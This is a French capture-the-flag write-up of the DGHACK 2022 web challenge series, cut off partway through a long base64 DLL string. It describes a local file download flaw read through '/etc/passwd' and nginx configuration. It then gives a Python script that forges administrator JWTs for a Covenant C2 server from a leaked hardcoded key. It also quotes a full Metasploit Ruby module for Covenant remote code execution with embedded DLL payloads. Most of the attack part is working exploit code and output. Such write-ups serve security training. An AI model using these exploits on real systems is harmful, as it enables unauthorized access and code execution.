Bonjour et bienvenue sur ce premier write-up des challenges de la DGHACK édition 2022 organisé par la Direction Générale de l’Armement du Ministère des Armées.
Pour ce premier write-up, je vous explique comment j’ai pu résoudre la série de challenge web « un chasseur sachant chasser ».
C’est parti !
Description Partie 1
Des analystes SOC du Ministère des Armées ont remarqué des flux suspects provenant de machines internes vers un site vitrine d’une entreprise. Pourtant ce site semble tout à fait légitime.
Vous avez été mandaté par la Direction Générale de l’Armement pour mener l’enquête. Trouvez un moyen de reprendre partiellement le contrôle du site web afin de trouver comment ce serveur joue un rôle dans l’infrastructure de l’acteur malveillant.
Aucun fuzzing n’est nécessaire.
Le flag se trouve sur le serveur à l’endroit permettant d’en savoir plus sur l’infrastructure de l’attaquant.
Partie 1: Local File Download
Après une visite rapide du site, on trouve vite une LFD, pour Local File Download, qui n’est en réalité qu’une LFI (Local File Inclusion) dans laquelle on récupère le résultat sous la forme d’un téléchargement direct.
Un clique sur le bouton redirige vers http://unchasseursachantchasser.chall.malicecyber.com/download.php?menu=menu_updated_09_11_2022.jpg . On modifie le parametre get menu par le path du fichier qui nous interesse.
Poc: http://unchasseursachantchasser.chall.malicecyber.com/download.php?menu=/etc/passwd
Rien de très compliqué ensuite, on inclus quelques fichiers pouvant être intéressant (/etc/passwd, /etc/hosts)
puis on se jette directement sur les fichiers de configurations du serveur web à la recherche d’un vhost ou de quelque chose du genre. On tente les fichiers de configuration d’apache2, sans résultat, puis ceux de nginx. Bingo ! On obtient alors le premier flag dans le nginx.conf, ainsi que de précieuse information qui nous serviront pour la suite.
Pas de vhost ici, mais un endpoint bien étrange qui redirige les requêtes vers un containers docker qui semble, d’après les commentaires, être un C2 Covenant.
Description Partie 2
A présent que vous avez une idée de l’infrastructure de l’attaquant, il vous est demandé de l’exploiter.
Prenez totalement le contrôle du CnC.
Aucun bruteforce n’est nécessaire.
Le flag se trouve dans le fichier /flag.txt.
Partie 2: Exploitation du covenant
1. Découverte du covenant
Bon on rentre dans le dure. Après quelques recherches, on a bien la confirmation qu’il s’agit d’un covenant:
Mais l’interface web est totalement bugé (les ressources chargées par le covenant sont cherchées à la racine du site et pas sur l’endpoint). Par chance on apprend que Covenant dispose d’une api avec laquelle on va pouvoir interagir (ici). La documentation étant faible en contenue, je décide d’installer moi même mon convenant en local afin de comprendre un peu comment tout marche (ce que je vous invite à faire).
2. La première faille: crafter son propre token administrateur
On comprends un peu toutes les fonctionnalités proposés par l’outil, mais rien qui nous permet de lire le fichier flag.txt se situant à la racine. En approfondissant mes recherches, je tombe sur cet article: hunting the hunters, qui nous fait penser au nom du challenge « un chasseur sachant chasser ». On y apprend qu’il y a eu un commit sur le repo github de covenant dans lequel un développeur a entré une clé en dure là où il ne fallait pas.
Pour être plus précis, une clé aléatoire est généré lors de l’installation de covenant et est stocké dans Covenant/Data/appsettings.json
. Elle permet de chiffrer les jeton jwt (qui servent à garentir l’authentification lors de l’appel à l’api). Cette nouvelle clé est uniquement générée dans le cas où sa valeur actuelle dans le fichier json est la valeur par défaut, c’est à dire:
"JwtKey": "[KEY USED TO SIGN/VERIFY JWT TOKENS, ALWAYS REPLACE THIS VALUE]",
Seulement lors de ce fameux commit, le développeur a oublié de remettre la valeur par défaut de la clé dans le fichier json, ce qui signifie que toutes les services covenant issue de ce commit auront la clé du developpeur.
Cet oublie permet donc de connaitre la valeur de la jwtkey et donc nous offre la possibilité de générer nos propres tokens. On peut d’ailleurs tester ce token et récupéré la liste des utilisateurs en contactant l’api.
import jwt
import requests
data = {"JwtKey": "%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm'q%1ugAvfq6rC"}
content = {
"sub": "hackline",
"jti": "925f74ca-fc8c-27c6-24be-566b11ab6585",
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "df34c0a2fd5b408ab4fe0c1ac98d5677",
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
"User"
],
"exp": 1968264576,
"iss": "Covenant",
"aud": "Covenant"
}
token = jwt.encode(content, data['JwtKey'], algorithm='HS256').decode('utf-8')
print(token)
print requests.get("http://unchasseursachantchasser.chall.malicecyber.com/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72/api/users",
headers={"Content-Type":"application/json",
"Authorization":"Bearer " + token}).text
Petite explication: on génère ici un token avec un nom d’utilisateur et un jti arbitraire (il n’est pas nécessaire d’avoir un utilisateur/jti valide pour accéder à l’endpoint users).
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoYWNrbGluZSIsImlzcyI6IkNvdmVuYW50IiwianRpIjoiOTI1Zjc0Y2EtZmM4Yy0yN2M2LTI0YmUtNTY2YjExYWI2NTg1IiwiZXhwIjoxOTY4MjY0NTc2LCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6ImRmMzRjMGEyZmQ1YjQwOGFiNGZlMGMxYWM5OGQ1Njc3IiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjpbIlVzZXIiXSwiYXVkIjoiQ292ZW5hbnQifQ.3w7Wgt4NrVn1F5jJZNGh7lbi12eCHBInHr4MSwof40Y
[{"id":"bd0f04cd-8363-4913-acbf-58dcaf173ecf","userName":"ServiceUser","normalizedUserName":"SERVICEUSER","email":null,"normalizedEmail":null,"emailConfirmed":false,"passwordHash":"","securityStamp":"S5PFNI5PDUGUKSNQYYORIAVTHXROHUBG","concurrencyStamp":"4a31b76b-3f79-49f0-aea9-615d9cba5899","phoneNumber":null,"phoneNumberConfirmed":false,"twoFactorEnabled":false,"lockoutEnd":null,"lockoutEnabled":true,"accessFailedCount":0},{"id":"5cff0c3a-cef3-4f94-90c4-ff27816ea063","userName":"DGHACK_ADMIN","normalizedUserName":"DGHACK_ADMIN","email":null,"normalizedEmail":null,"emailConfirmed":false,"passwordHash":"","securityStamp":"QCE2U7JRKO36CDQEHDVOI7N4H2LKZK3W","concurrencyStamp":"e6dcb5cd-0cf0-4a0e-a549-d4e12a6d2aac","phoneNumber":null,"phoneNumberConfirmed":false,"twoFactorEnabled":false,"lockoutEnd":null,"lockoutEnabled":true,"accessFailedCount":0}]
On obtient là liste des utilisateurs du covenant, ainsi que quelques informations à leur propos. Parmis ces utilisateurs, on remarque le DGHACK_ADMIN, que l’on suspecte d’appartenir au groupe administrateur du covenant, ce qui est super car il nous permettrait d’acceder à toutes les fonctionnalitées de l’api. On craft donc son token:
content = {
"sub": "DGHACK_ADMIN",
"jti": "925f74ca-fc8c-27c6-24be-566b11ab6585",
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "75110aef-589c-4e5c-91e3-865ea8dfb2d6",
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
"User",
"Administrator"
],
"exp": 1968264576,
"iss": "Covenant",
"aud": "Covenant"
}
token = jwt.encode(content, data['JwtKey'], algorithm='HS256').decode('utf-8')
Et ça y’est, on a accès à toutes les fonctionnalités de l’API !
3. RCE: ça se corce
Tout ça est bien sympa, mais le challenge ne s’arrête pas là, il nous faut RCE pour lire le fameux fichier flag.txt à la racine du docker. L’article hunter-hunting-hunter aborde la partie RCE, mais malheureusement il ne propose pas de script d’exploitation de la vulnérabilité et laisse seulement au lecteur une vague idée sur le cheminement de l’attaque. Fainéant comme je suis, je cherche donc un script tout prêt et fonctionnel pour exploiter la vulnérabilité, mais je ne trouve que ça: un script metasploit en Ruby qu’il va falloir faire fonctionner.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Covenant C2 JWT Remote Code Execution Exploit',
'Description' => %q{
Due to an accidental commit of an ephemeral development application settings file, the secret
value of all JWTs issued by Covenant was locked to a single value across all deployments.
This vulnerability affect all Covenant from March 3rd, 2019 to July 13th, 2020.
},
'Author' => [
'mekhalleh (RAMELLA Sébastien)' # module author (Zeop Entreprise)
],
'References' => [
['URL', 'https://blog.null.farm/hunting-the-hunters'],
],
'DisclosureDate' => '2020-10-27',
'License' => MSF_LICENSE,
'Platform' => ['windows'],
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => true,
'DefaultOptions' => {
'RPORT' => 7443,
'SSL' => true
},
'Targets' => [
['Automatic (DLL)',
'Platform' => 'windows',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dll,
#'DefaultOptions' => {
# 'PAYLOAD' => 'php/meterpreter/reverse_tcp'
#}
],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))
register_options([
OptInt.new('C2_RPORT', [true, 'The TCP port for the listener.', 8080])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end
def aes256_cbc_encrypt(key, data)
key = Digest::SHA256.digest(key) if (key.kind_of?(String) && 32 != key.bytesize)
iv = SecureRandom.random_bytes(16)
iv = Digest::MD5.digest(iv) if (iv.kind_of?(String) && 16 != iv.bytesize)
aes = OpenSSL::Cipher.new('AES-256-CBC')
aes.encrypt
aes.key = key
aes.iv = iv
ciphered = aes.update(data) + aes.final
hmac = OpenSSL::Digest.new('sha256')
signed = OpenSSL::HMAC.digest(hmac, key, ciphered)
return([ciphered, iv, signed])
end
def check_tcp_port(ip, port)
begin
sock = Rex::Socket::Tcp.create(
'PeerHost' => ip,
'PeerPort' => port,
'Proxies' => datastore['Proxies']
)
rescue ::Rex::ConnectionRefused, Rex::ConnectionError
return false
end
sock.close
return true
end
def create_listener(profile_id)
data = {
'useSSL': false,
'urls': [
"http://#{datastore['RHOSTS']}:#{datastore['C2_RPORT']}/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72"
],
'id': 0,
'name': @listener_name,
'bindAddress': "#{datastore['RHOSTS']}",
'bindPort': datastore['C2_RPORT'],
'connectAddresses': [
"#{datastore['RHOSTS']}"
],
'connectPort': datastore['C2_RPORT'],
'profileId': profile_id.to_i,
'listenerTypeId': read_listener_type('HTTP'),
'status': 'Active'
}
response = request_api('POST', normalize_uri('api', 'listeners', 'http'), data.to_json)
return true if response && response.code == 200
false
end
def generate_jwt(username = nil, userid = nil)
secret = '%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm\'q%1ugAvfq6rC'
username = Rex::Text.rand_text_alpha(6..8) if username.nil?
userid = random_id if username.nil?
jwt_hdr = {'typ':'JWT', 'alg':'HS256'}
jwt_pld = {
'sub': "#{username}",
'jti': "#{random_id}",
'http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier': "#{userid}",
'http://schemas.microsoft.com/ws/2008/06/identity/claims/role': ["User", "Administrator"],
'exp': 1615445546,
'iss': 'Covenant',
'aud': 'Covenant'
}
token_hdr = Base64.urlsafe_encode64(jwt_hdr.to_json.encode('utf-8')).gsub('=', '')
token_pld = Base64.urlsafe_encode64(jwt_pld.to_json.encode('utf-8')).gsub('=', '')
digest_sha256 = OpenSSL::Digest.new('sha256')
signature = Base64.urlsafe_encode64(OpenSSL::HMAC.digest(digest_sha256, secret, "#{token_hdr}.#{token_pld}"))
return "#{token_hdr}.#{token_pld}.#{signature.gsub('=', '')}"
end
def generate_stage0(aes_key, guid)
headers = {}
headers['Cookies'] = "ASPSESSIONID=#{guid}; SESSIONID=1552332971750"
message = '<RSAKeyValue><Modulus>tqwoOYfwOkdfax+Er6P3leoKE/w5wWYgmb/riTpSSWCA6T2JklWrPtf9z3s/k0wIi5pX3jWeC5RV5Y/E23jQXPfBB9jW95pIqxwhZ1wC2UOVA8eSCvqbTpqmvTuFPat8ek5piS/QQPSZG98vLsfJ2jQT6XywRZ5JgAZjaqmwUk/lhbUedizVAnYnVqcR4fPEJj2ZVPIzerzIFfGWQrSEbfnjp4F8Y6DjNSTburjFgP0YdXQ9S7qCJ983vM11LfyZiGf97/wFIzXf7pl7CsA8nmQP8t46h8b5hCikXl1waEQLEW+tHRIso+7nBv7ciJ5WgizSAYfXfePlw59xp4UMFQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>'
ciphered, iv, signed = aes256_cbc_encrypt(Base64.decode64(aes_key), message)
data = {
'GUID': "#{guid}",
'Type': 0,
'Meta': '',
'IV': Base64.encode64(iv).strip,
'EncryptedMessage': Base64.encode64(ciphered).gsub("\n", ''),
'HMAC': Base64.encode64(signed).strip
}
begin
cli = Rex::Proto::Http::Client.new(datastore['RHOSTS'], datastore['C2_RPORT'], {}, false, nil, datastore['Proxies'])
cli.connect
request = cli.request_cgi({
'method' => 'POST',
'uri' => '/en-us/test.html',
'headers' => headers,
'agent' => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'vars_post' => {
'i' => 'a19ea23062db990386a3a478cb89d52e',
'data' => Base64.urlsafe_encode64(data.to_json),
'session' => '75db-99b1-25fe4e9afbe58696-320bea73'
}
})
response = cli.send_recv(request)
cli.close
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error('HTTP connection failed.')
return false
end
end
def generate_transform_payload # TODO
# POC: execute calc
# dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAOl/y5EAAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAAqiYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAFcmAABPAAAAAEAAADAFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABoJQAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAsAYAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAADAFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACLJgAAAAAAAEgAAAACAAUAbCAAAPwEAAABAAAAAgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4CKAsAAApyAQAAcHIRAABwKAwAAAomKgYqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAACYAQAAI34AAAQCAAD4AQAAI1N0cmluZ3MAAAAA/AMAACwAAAAjVVMAKAQAABAAAAAjR1VJRAAAADgEAADEAAAAI0Jsb2IAAAAAAAAAAgAAAUcVAAAJAAAAAPoBMwAWAAABAAAADQAAAAIAAAACAAAAAQAAAAwAAAAKAAAAAQAAAAIAAAAAAFkBAQAAAAAABgDHAJwBBgAZAZwBBgAhAIkBDwC8AQAABgBMAD8BBgAAAXEBBgCoAHEBBgBlAHEBBgCCAHEBBgDnAHEBBgA1AHEBBgDrAWUBCgDjAYkBAAAAAAEAAAAAAAEAAQABABAANwEKADEAAQABAFAgAAAAAIYYgwEGAAEAaCAAAAAAlgBsASUAAQAAAAEAywEJAIMBAQARAIMBBgAZAIMBCgApAIMBEAAxAIMBEAA5AIMBEABBAIMBEABJAIMBEABRAIMBEABZAIMBEABhAIMBBgBpAPIBFQAuAAsAKwAuABMANAAuABsAUwAuACMAXAAuACsAkgAuADMAnwAuADsArAAuAEMAuQAuAEsAkgAuAFMAkgAEgAAAAQAAAAAAAAAAAAAAAAAKAAAABAACAAIAAAAAAAAAHAASAAAAAAAEAAIAAgAAAAAAAAAcANABAAAAAAAAAAAAPE1vZHVsZT4AUGF5bG9hZABTeXN0ZW0uUnVudGltZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlJbmZvcm1hdGlvbmFsVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4ZWN1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQYXlsb2FkLmRsbABTeXN0ZW0ATWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgAuY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzAE9iamVjdABTdGFydAAAD2MAbQBkAC4AZQB4AGUAABcvAEMAIABjAGEAbABjAC4AZQB4AGUAAAAAAGUJYhnDlrJIoGWECAM5RrwABCABAQgDIAABBSABARERBCABAQ4GAAISNQ4OCLA/X38R1Qo6BQABAR0OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAADUBABguTkVU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'
dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAOl/y5EAAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAAqiYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAFcmAABPAAAAAEAAADAFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABoJQAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAsAYAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAADAFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACLJgAAAAAAAEgAAAACAAUAbCAAAPwEAAABAAAAAgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4CKAsAAApyAQAAcHIRAABwKAwAAAomKgYqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAACYAQAAI34AAAQCAAD4AQAAI1N0cmluZ3MAAAAA/AMAACwAAAAjVVMAKAQAABAAAAAjR1VJRAAAADgEAADEAAAAI0Jsb2IAAAAAAAAAAgAAAUcVAAAJAAAAAPoBMwAWAAABAAAADQAAAAIAAAACAAAAAQAAAAwAAAAKAAAAAQAAAAIAAAAAAFkBAQAAAAAABgDHAJwBBgAZAZwBBgAhAIkBDwC8AQAABgBMAD8BBgAAAXEBBgCoAHEBBgBlAHEBBgCCAHEBBgDnAHEBBgA1AHEBBgDrAWUBCgDjAYkBAAAAAAEAAAAAAAEAAQABABAANwEKADEAAQABAFAgAAAAAIYYgwEGAAEAaCAAAAAAlgBsASUAAQAAAAEAywEJAIMBAQARAIMBBgAZAIMBCgApAIMBEAAxAIMBEAA5AIMBEABBAIMBEABJAIMBEABRAIMBEABZAIMBEABhAIMBBgBpAPIBFQAuAAsAKwAuABMANAAuABsAUwAuACMAXAAuACsAkgAuADMAnwAuADsArAAuAEMAuQAuAEsAkgAuAFMAkgAEgAAAAQAAAAAAAAAAAAAAAAAKAAAABAACAAIAAAAAAAAAHAASAAAAAAAEAAIAAgAAAAAAAAAcANABAAAAAAAAAAAAPE1vZHVsZT4AUGF5bG9hZABTeXN0ZW0uUnVudGltZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlJbmZvcm1hdGlvbmFsVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4ZWN1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQYXlsb2FkLmRsbABTeXN0ZW0ATWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgAuY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzAE9iamVjdABTdGFydAAAD2MAbQBkAC4AZQB4AGUAABcvAEMAIABjAGEAbABjAC4A